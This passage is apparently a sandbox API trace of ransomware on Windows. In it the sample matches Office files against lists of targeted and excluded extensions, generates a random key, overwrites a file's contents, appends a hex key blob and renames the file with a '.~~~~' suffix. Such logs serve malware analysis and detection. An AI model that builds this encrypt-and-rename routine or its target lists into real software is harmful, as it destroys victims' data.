	[0141.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0141.396] lstrlenW (lpString=".sqb") returned 4
	[0141.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".sqb") returned 0x0
	[0141.396] lstrlenW (lpString=".ost") returned 4
	[0141.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".ost") returned 0x0
	[0141.396] lstrlenW (lpString=".txt") returned 4
	[0141.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".txt") returned 0x0
	[0141.396] lstrlenW (lpString=".mdt") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".mdt") returned 0x0
	[0141.397] lstrlenW (lpString=".BDB") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".BDB") returned 0x0
	[0141.397] lstrlenW (lpString=".eql") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".eql") returned 0x0
	[0141.397] lstrlenW (lpString=".DBF") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DBF") returned 0x0
	[0141.397] lstrlenW (lpString=".EQL") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".EQL") returned 0x0
	[0141.397] lstrlenW (lpString=".FDB") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".FDB") returned 0x0
	[0141.397] lstrlenW (lpString=".EDB") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".EDB") returned 0x0
	[0141.397] lstrlenW (lpString=".DACPAC") returned 7
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.397] lstrlenW (lpString=".VHD") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".VHD") returned 0x0
	[0141.397] lstrlenW (lpString=".DBV") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DBV") returned 0x0
	[0141.397] lstrlenW (lpString=".dacpac") returned 7
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.397] lstrlenW (lpString=".sdf") returned 4
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".sdf") returned 0x0
	[0141.397] lstrlenW (lpString=".accdb") returned 6
	[0141.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".accdb") returned 0x0
	[0141.398] lstrlenW (lpString=".DBX") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DBX") returned 0x0
	[0141.398] lstrlenW (lpString=".MDT") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".MDT") returned 0x0
	[0141.398] lstrlenW (lpString=".SQB") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".SQB") returned 0x0
	[0141.398] lstrlenW (lpString=".vhd") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".vhd") returned 0x0
	[0141.398] lstrlenW (lpString=".bac") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".bac") returned 0x0
	[0141.398] lstrlenW (lpString=".mdf") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".mdf") returned 0x0
	[0141.398] lstrlenW (lpString=".BAK") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".BAK") returned 0x0
	[0141.398] lstrlenW (lpString=".BAC") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".BAC") returned 0x0
	[0141.398] lstrlenW (lpString=".dbs") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dbs") returned 0x0
	[0141.398] lstrlenW (lpString=".vhdx") returned 5
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.398] lstrlenW (lpString=".NDF") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".NDF") returned 0x0
	[0141.398] lstrlenW (lpString=".dat") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dat") returned 0x0
	[0141.398] lstrlenW (lpString=".DBS") returned 4
	[0141.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DBS") returned 0x0
	[0141.399] lstrlenW (lpString=".CKP") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".CKP") returned 0x0
	[0141.399] lstrlenW (lpString=".edb") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".edb") returned 0x0
	[0141.399] lstrlenW (lpString=".PST") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".PST") returned 0x0
	[0141.399] lstrlenW (lpString=".dbf") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dbf") returned 0x0
	[0141.399] lstrlenW (lpString=".SQL") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".SQL") returned 0x0
	[0141.399] lstrlenW (lpString=".pst") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".pst") returned 0x0
	[0141.399] lstrlenW (lpString=".dbv") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dbv") returned 0x0
	[0141.399] lstrlenW (lpString=".SDF") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".SDF") returned 0x0
	[0141.399] lstrlenW (lpString=".dtxs") returned 5
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.399] lstrlenW (lpString=".db3") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".db3") returned 0x0
	[0141.399] lstrlenW (lpString=".OST") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".OST") returned 0x0
	[0141.399] lstrlenW (lpString=".dbx") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dbx") returned 0x0
	[0141.399] lstrlenW (lpString=".DB3") returned 4
	[0141.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DB3") returned 0x0
	[0141.400] lstrlenW (lpString=".DAT") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DAT") returned 0x0
	[0141.400] lstrlenW (lpString=".VHDX") returned 5
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.400] lstrlenW (lpString=".ndf") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".ndf") returned 0x0
	[0141.400] lstrlenW (lpString=".DB") returned 3
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DB") returned 0x0
	[0141.400] lstrlenW (lpString=".sql") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".sql") returned 0x0
	[0141.400] lstrlenW (lpString=".MYD") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".MYD") returned 0x0
	[0141.400] lstrlenW (lpString=".DBT") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DBT") returned 0x0
	[0141.400] lstrlenW (lpString=".ACCDB") returned 6
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.400] lstrlenW (lpString=".fdb") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".fdb") returned 0x0
	[0141.400] lstrlenW (lpString=".bak") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".bak") returned 0x0
	[0141.400] lstrlenW (lpString=".myd") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".myd") returned 0x0
	[0141.400] lstrlenW (lpString=".DTXS") returned 5
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.400] lstrlenW (lpString=".ckp") returned 4
	[0141.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".ckp") returned 0x0
	[0141.400] lstrlenW (lpString=".dbt") returned 4
	[0141.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".dbt") returned 0x0
	[0141.401] lstrlenW (lpString=".db") returned 3
	[0141.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".db") returned 0x0
	[0141.401] lstrlenW (lpString=".TXT") returned 4
	[0141.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".TXT") returned 0x0
	[0141.401] lstrlenW (lpString=".MDF") returned 4
	[0141.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".MDF") returned 0x0
	[0141.401] lstrlenW (lpString=".bdb") returned 4
	[0141.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".bdb") returned 0x0
	[0141.401] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.401] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0141.402] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.402] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.403] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26139281728) returned 1
	[0141.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbdaf89f0, dwHighDateTime=0x1d60e1e)) 
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a38b0
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a38b0 | out: hHeap=0x300000) returned 1
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aed58
	[0141.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aed58 | out: hHeap=0x300000) returned 1
	[0141.404] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0141.404] GetLastError () returned 0x0
	[0141.404] GetLastError () returned 0x0
	[0141.404] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0141.404] GetLastError () returned 0x0
	[0141.405] GetLastError () returned 0x0
	[0141.405] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x2019, lpOverlapped=0x0) returned 1
	[0141.844] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffdfe7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.844] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2019, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x2019, lpOverlapped=0x0) returned 1
	[0141.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.845] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.845] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.845] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.845] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.845] CloseHandle (hObject=0x108) returned 1
	[0141.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3af148
	[0141.845] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif.~~~~")) returned 1
	[0141.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af148 | out: hHeap=0x300000) returned 1
	[0141.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.848] GetLastError () returned 0x0
	[0141.848] RtlWakeConditionVariable () returned 0x0
	[0141.849] GetCurrentThreadId () returned 0x9f4
	[0141.849] GetCurrentThreadId () returned 0x9f4
	[0141.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aec08
	[0141.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af298 | out: hHeap=0x300000) returned 1
	[0141.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3488 | out: hHeap=0x300000) returned 1
	[0141.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3af298
	[0141.849] lstrlenW (lpString=".scr") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".scr") returned 0x0
	[0141.849] lstrlenW (lpString=".cmd") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".cmd") returned 0x0
	[0141.849] lstrlenW (lpString=".dll") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dll") returned 0x0
	[0141.849] lstrlenW (lpString=".bat") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".bat") returned 0x0
	[0141.849] lstrlenW (lpString=".cpl") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".cpl") returned 0x0
	[0141.849] lstrlenW (lpString=".sys") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".sys") returned 0x0
	[0141.849] lstrlenW (lpString=".msc") returned 4
	[0141.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".msc") returned 0x0
	[0141.849] lstrlenW (lpString=".com") returned 4
	[0141.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".com") returned 0x0
	[0141.850] lstrlenW (lpString=".lnk") returned 4
	[0141.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".lnk") returned 0x0
	[0141.850] lstrlenW (lpString=".msp") returned 4
	[0141.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".msp") returned 0x0
	[0141.850] lstrlenW (lpString=".pif") returned 4
	[0141.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".pif") returned 0x0
	[0141.850] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.850] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.924] lstrlenW (lpString=".sqb") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".sqb") returned 0x0
	[0141.924] lstrlenW (lpString=".ost") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".ost") returned 0x0
	[0141.924] lstrlenW (lpString=".txt") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".txt") returned 0x0
	[0141.924] lstrlenW (lpString=".mdt") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".mdt") returned 0x0
	[0141.924] lstrlenW (lpString=".BDB") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".BDB") returned 0x0
	[0141.924] lstrlenW (lpString=".eql") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".eql") returned 0x0
	[0141.924] lstrlenW (lpString=".DBF") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DBF") returned 0x0
	[0141.924] lstrlenW (lpString=".EQL") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".EQL") returned 0x0
	[0141.924] lstrlenW (lpString=".FDB") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".FDB") returned 0x0
	[0141.924] lstrlenW (lpString=".EDB") returned 4
	[0141.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".EDB") returned 0x0
	[0141.924] lstrlenW (lpString=".DACPAC") returned 7
	[0141.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.925] lstrlenW (lpString=".VHD") returned 4
	[0141.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".VHD") returned 0x0
	[0141.925] lstrlenW (lpString=".DBV") returned 4
	[0141.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DBV") returned 0x0
	[0141.925] lstrlenW (lpString=".dacpac") returned 7
	[0141.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.925] lstrlenW (lpString=".sdf") returned 4
	[0141.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".sdf") returned 0x0
	[0141.925] lstrlenW (lpString=".accdb") returned 6
	[0141.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".accdb") returned 0x0
	[0141.925] lstrlenW (lpString=".DBX") returned 4
